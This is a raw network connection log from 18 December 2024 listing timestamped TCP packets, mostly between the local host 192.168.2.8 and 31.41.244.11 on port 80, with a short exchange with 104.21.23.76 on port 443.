Dec 18, 2024 09:07:23.832396984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.832437992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.832468987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.832504988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.832565069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.833326101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.833359957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.833395958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.833442926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.833492041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.834196091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.834249020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.834284067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.834332943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.834381104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.835165024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.835199118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.835233927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.835262060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.835450888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.835933924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.836052895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.836086988 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.836117983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.836155891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.836875916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.837115049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.837147951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.837198019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.837199926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.837261915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.838244915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.838360071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.838396072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.838432074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.838475943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.838779926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.838845968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.838865042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.838880062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.839003086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.839003086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.839647055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.839785099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.839821100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.839868069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.839931011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.840627909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.840661049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.840694904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.840718031 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.840744019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.841442108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.841495037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.841530085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.841568947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.841630936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.842272997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.842385054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.842421055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.842443943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.842473984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.843164921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.843199015 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.843234062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.843240023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.843269110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.843300104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.844028950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.844095945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.844166994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.844202042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.844257116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.845098019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.845170021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.845207930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.845210075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.845246077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.845279932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.846060991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.846115112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.846149921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.846162081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.846213102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.846213102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.846718073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.846802950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.846831083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.846864939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.846904039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.846941948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.847512007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.847565889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.847575903 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.847600937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.847634077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.847671986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:23.848287106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:23.848371029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.009659052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.009733915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.009773016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.009813070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.009866953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.009886980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.009902000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.009967089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.010693073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.010729074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.010765076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.010807991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.010848045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.011533976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.011586905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.011621952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.011663914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.011718988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.012474060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.012507915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.012546062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.012574911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.012618065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.013346910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.013380051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.013413906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.013439894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.013484955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.014079094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.014170885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.014204025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.014230013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.014273882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.014986992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.015096903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.015130043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.015166044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.015223980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.015944004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.016056061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.016091108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.016129017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.016179085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.016700983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.016813993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.016849041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.016869068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.016904116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.017666101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.017700911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.017735958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.017756939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.017791986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.018429995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.018493891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.018527985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.018543959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.018579006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.019332886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.019395113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.019428968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.019445896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.019479036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.020245075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.020299911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.020333052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.020360947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.020401001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.021162033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.021198034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.021231890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.021255016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.021289110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.022037983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.022072077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.022108078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.022130966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.022166014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.022933960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.022969007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.023005009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.023035049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.023066998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.023653984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.023796082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.023829937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.023865938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.023920059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.024564981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.024596930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.024611950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.024668932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.025460005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.025475979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.025490046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.025548935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.026276112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.026508093 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.026524067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.026577950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.027149916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.027360916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.027375937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.027471066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.028151035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.028563976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.028578997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.028594017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.028666019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.028704882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.029249907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.029264927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.029287100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.029330015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.029381037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.030046940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.030209064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.030224085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.030266047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.030313015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.031101942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.031117916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.031133890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.031193018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.031228065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.031848907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.031863928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.031878948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.031917095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.031965971 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.032646894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.032732964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.032747984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.032794952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.032845020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.033575058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.033626080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.033658981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.033687115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.033735991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.034512997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.034547091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.034580946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.034599066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.034631968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.035366058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.035398006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.035451889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.035458088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.035497904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.036226034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.036259890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.036281109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.036294937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.036299944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.036340952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.037161112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.037221909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.037362099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.037396908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.037416935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.037440062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.038245916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.038335085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.038369894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.038419008 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.038479090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.039391041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.039503098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.039510012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.039537907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.039566994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.039597034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.040618896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.042514086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.062098980 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.062216997 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.063996077 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.064019918 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.064944983 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.067578077 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.067828894 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.067886114 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.067953110 CET	49717	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:24.115338087 CET	443	49717	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:24.201231003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.201251030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.201267958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.201389074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.201481104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.201606989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.201623917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.201641083 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.201694965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.201778889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.202440023 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.202455997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.202471972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.202513933 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.203305960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.203367949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.203383923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.203397989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.203453064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.204078913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.204176903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.204191923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.204265118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.204298973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.204881907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.204942942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.204957962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.204993963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.205048084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.205797911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.205892086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.205909967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.205936909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.205990076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.206635952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.206695080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.206726074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.206754923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.206796885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.207499027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.207612038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.207628012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.207690954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.207741976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.208436012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.208451986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.208467960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.208493948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.208530903 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.209464073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.209480047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.209495068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.209551096 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.210175037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:24.210299969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:24.210310936 CET	80	49714	31.41.244.11	192.168.2.8
